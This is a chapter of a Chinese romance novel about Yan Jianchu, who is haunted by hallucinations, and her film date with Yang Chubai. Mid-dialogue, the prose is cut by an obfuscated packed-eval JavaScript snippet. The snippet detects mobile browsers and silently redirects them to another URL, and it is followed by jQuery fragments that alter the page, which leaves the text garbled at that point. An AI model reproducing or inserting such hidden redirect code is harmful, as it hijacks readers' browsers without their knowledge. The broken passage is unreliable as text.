杨楚白过了五分钟回信息，没有直接回答，反而问她：「你会去吗？」


    颜简初看到后勾唇笑笑，认真思索片刻，回：「你希望我去吗？」


    她的疑问没有立刻得到回应，手机一直显示对方正在输入中……


    颜简初不认为自己有那么大的魅力，本意只想捉弄他一下，并不希望他为难，在对话框输入「开玩笑的，你别放心上，我再问问其他人」


    正准备发送，对方快她一秒：


    「嗯」


    紧接着，他解释：


    「我找不到同伴」


    「（可怜）」


    她盯着那几个字发呆，指尖停在屏幕上方，然后默默把对话框清空。


    颜简初犹豫不绝，踌躇半晌，手机熄屏又被她摁亮。


    如果是和他一起，似乎也未尝不可。


    颜简初解锁后重新回到页面，敲下回答：


    「那就后天见」


    「期待.gif」


    杨楚白秒回：「（期待）」


    她弯唇笑笑，告诉陆欣然票给她就行，然后退出给陈路回信息：「最近都挺好的，很少看见我妈了，也不怎么梦游」


    陈路显然不信她：「后天过来复查一下」


    颜简初不想去：「那天有事，没空」


    陈路：「那你什么时候有时间，我这边配合协调」


    颜简初同他打太极：「再说吧，最近科研项目挺忙的，到时候联系你」


    陈路紧接发来好几条信息，她把手机静音盖在桌上，起身去冰箱拿食材准备煮面。


    碗里打两个鸡蛋搅拌均匀放在旁边，接着黄瓜去皮用清水洗干净，颜简初拿刀切成片状，中途分神，刀刃不小心划破了食指的皮肤，鲜血缓缓渗出来，她没有任何感觉，血越流越多，她麻木地打开水龙头。


    “真是废物，这点事情都做不好，你当初就该跟我们一起去死。”


    疯女人倚在厨房门边，把刀扔在地上，正不停地讥讽她。


    血已经看不见了，只留下一道很细的伤口，轻轻剥开，能清楚看见里面的肉，是很淡的粉色。


    颜简初不以为然，关了水，继续切黄瓜，没搭理她。


    “我知道你能看见也能听见，”女人不甘心地凑到她身旁，表情极度扭曲，“你可真是个怕死的家伙，居然有脸继续活在这世上，心安理得地享受这一切。”


    她又蹿到另一边，语气凶狠：“你就该烂死在福利院，让蛆虫爬满你的肉.体，一点点腐蚀吞噬，腐烂发臭，最后连渣都不剩！”


    颜简初用刀把黄瓜片堆在一块，然后转身，毫无预兆地将刀尖对准李穆倾的喉咙，迫使她一步步往后退，最后靠在墙上，她的声音很轻：“想不想看看，究竟是你的刀锋利，还是我的刀更快啊？”


    “别得寸进尺、给脸不要脸，更别妄想永远困住我，”刀尖上下移动，李穆倾的皮肤也随之瑟缩，她缓缓笑道，“该死的只有你，玩火自焚！”


    李穆倾倚在角落里，因她突然的反抗而惊恐，却又在转瞬之间变化，笑容诡谲：“周围人见过你这副模样吗？什么温柔善良，呸，如果他们知道你自私又阴暗，你的妈妈，哦……还有那个男人，你说他们会怎么看你啊！”


    “哈哈哈……哈哈哈……”


    她手指的力量忽然撤走，刀正好掉落在垃圾桶里。


    角落什么也没有，白色瓷砖反射的光线有些刺眼。


    颜简初慢慢蹲下，最后坐在地上双手环膝，脑海中反复回荡着最后那句话。


    她觉得，她真的快疯了，快被逼疯了。


    /


    下午，代佳妍约她逛街吃饭。


    代佳妍想买几套新衣服，颜简初帮她把关，空闲时间则坐在休息区玩手机。


    “你觉得这件怎么样？”代佳妍在镜子前转了圈，转身问她。


    “好看，”颜简初站在旁边，“感觉可以买小一码。”


    代佳妍对着镜子观察，点点头：“是有点大了，显肿。”


    付完账，颜简初帮忙拎袋子，代佳妍问她：“你真不打算买？”


    颜简初摇头：“晚上有点事，买了不方便。”


    代佳妍想起来：“是去看电影？”


    “嗯。”


    代佳妍好奇地看她：“和谁啊？”


    颜简初犹豫道：“一个……朋友。”


    “朋友？”代佳妍挑挑眉，更加好奇，“男性女性？”


    “你今天怎么回事，”颜简初笑了笑，推她一下，“有点八卦。”


    代佳妍看她避而不答，心里猜到答案，继续问：“什么时候的事？”


    颜简初无奈，弯眼笑道：“是一位女同事，你想什么呢？”


    代佳妍狐疑地瞧着她：“真的假的？”


    颜简初转移话题：“我穿高跟鞋脚有点痛，餐厅在哪里，你快看看。”


    代佳妍成功被她带偏，拿出手机打开导航。


    吃完饭，代佳妍去楼下出口等陆宣白，颜简初乘电梯上五楼，杨楚白十分钟前发消息告诉她已经到场，顺便拍了张位置图。


    他的位置和电梯相对，察觉电梯门打开，杨楚白抬头看见她出来，目光柔和地落入她的眼睛。


    他今天穿的浅蓝色衬衫，搭配黑色西裤和皮鞋，长腿微屈，整个人看上去很干净。


    颜简初走得比较慢，在他身旁坐下：“你下班过来的？”


    杨楚白悄悄地打量她，点头：“嗯。”


    “那边过来有点远，”颜简初问，“吃了饭吗？”


    杨楚白说：“在公司食堂吃了点。”


    旁边很多人在排队买爆米花和可乐，烤肠机的肉肠和鱼丸不停翻滚，泛起淡黄色的油光。


    “你要不要买桶爆米花之类的？”颜简初担心他胃病再犯，“或者去楼下买点面包？”


    “不用，我暂时不饿，”杨楚白拉住她，然后礼貌地松手，“你呢？”


    “我刚跟朋友在楼下吃完。”颜简初想起来要取票，起身时脚后跟的疼痛让她轻轻蹙眉，手撑着椅子起来，极轻微地踉跄一下。


    这时杨楚白也站起来：“我过去买点喝的，你有没有偏好？”


    “我不挑，”她说，“热的就行。”


    回来时工作人员已经开始检票。


    杨楚白提着袋子示意：“热的只有拿铁，可以么？”


    她低头看见两瓶饮料分装在一起，包装相同，看不出差别：“嗯，我们过去检票吧。”


    颜简初站在前面，等了片刻把两张票一起递过去。


    杨楚白在后面低着头，视线落在下方，她穿的加长款牛仔裤，几乎看不见高跟鞋，隐约能看出后跟比较细。


    “你的脚怎么了？”杨楚白看她走路不太对劲，走过去扶她。


    颜简初见他的手正覆在自己小臂上，稍微用力托住她，掌心的温度从皮肤透进去，手背的青筋像树根一般分叉交织，她似乎能感受里面的血液正在加速流动。


    她摇摇头，笑着说：“下午走太久了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151937|196085||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，鞋有点磨脚。”


    颜简初看他正低头蹙眉，宽慰道：“不影响的，电影快开始了，我们进去吧。”


    杨楚白暂时也想不到其他办法，妥协地点头，手轻轻护在后面：“很难受的话，你可以抓我的手。”


    颜简初微笑说好。


    他们的座位在第七排居中，是最佳的观影位置。


    杯槽在两个座位中间，呈纵向排列，杨楚白把咖啡递给她：“需要吸管么？”


    颜简初伸手接过，点了点头，杨楚白又把吸管递给她：“可能会有点烫。”


    颜简初咬着吸管喝了一小口，然后放进靠里的凹槽：“是有点。”


    三分钟广告结束，影厅灯光熄灭，银幕正片开始。


    窗外的雨淅淅沥沥，玻璃上爬满了雨痕，水珠缓缓下滑，城市倒映在水中，片头字幕随着雨水晕染，模糊，逐渐消失。


    咖啡厅内正播放着轻音乐，混合雨声构成一曲新的乐章。青年男子坐在老位置，照常给朋友发信息：「今天下雨了，记得带伞」


    对方依旧没有回复。


    此时，玻璃窗外站着一个女人，撑着透明的雨伞，只是在外面站着，始终没有进来。


    青年低头看手表，时间又是3：16。


    颜简初看到这场雨，不自觉回想起和杨楚白初遇的那天，那场雨还更猛烈些，白色衬衫被水淋湿，一块块地贴着后背，露出裸色的肌肤和紧实的线条。


    她的视线仍落在银幕上，但思绪早已飘离，想法也比较跳跃，工作琐事和私人情感来回切换，一点点耗尽她的精力。


    颜简初感觉很累，怎么也看不进去，缓慢的叙事节奏让她越发困顿，几乎成了她的助眠剂。


    她只想闭眼休息几分钟，没想到会完全睡过去。


    杨楚白拿杯子时发现她已经睡着了，他抿了两口咖啡，反而觉得更加口渴，把杯子放回去，又转头看向她。


    影院很暗，表情细节都被模糊，只能看清轮廓。她的头发多而长，梳的半扎高马尾，发尾微卷，因上身倾斜而垂落在手肘，耳鬓碎发拂在脸上，略显凌乱。


    在杨楚白印象中，她的妆容一向很淡，比如今天，她应该只涂了层口红。她皮肤好，妆越淡，整个气质就越纯，让人忍不住想要靠近，甚至是占有。


    没有人会不喜欢美好纯净，不论人或事。


    颜简初时常光临他的梦境，旖旎缠绵转瞬即逝，醒来只有无尽的空虚。


    电影场景不断变换，他柔和的目光长久驻足，身体稍往左移，让颜简初正好靠在他的肩上。


    杨楚白近距离看了几分钟，抬头继续看电影。他穿的短袖款衬衫，手臂能感受到她平缓的气息，像羽毛轻轻扫在皮肤上，有点痒。


    不知道过了多久，颜简初头忽然晃了下，睁开眼后闻见熟悉的洗涤剂的味道，垂眸看见他的衣服和手臂，意识到不对劲，慌忙直身道歉：“不好意思……我又睡着了。”


    杨楚白视线短暂地从银幕离开，神色如常：“没关系。”


    他的体温似乎还停在脸颊，蒸烤着她，颜简初庆幸影院环境昏暗，对方看不出她的异常。


    她视线飘忽，电影进度已经跟不上，没看多久便懈怠了，稍稍侧过头观察杨楚白。他似乎看得很认真，颜简初猜他是真喜欢这类电影，目光轻轻划过他的轮廓，他忽然无预兆地转头，陷入她的眼睛。


    颜简初顿时感觉有团火在拥着她，让她口干舌燥，下意识去拿右边的杯子，喝了两口才察觉不对劲。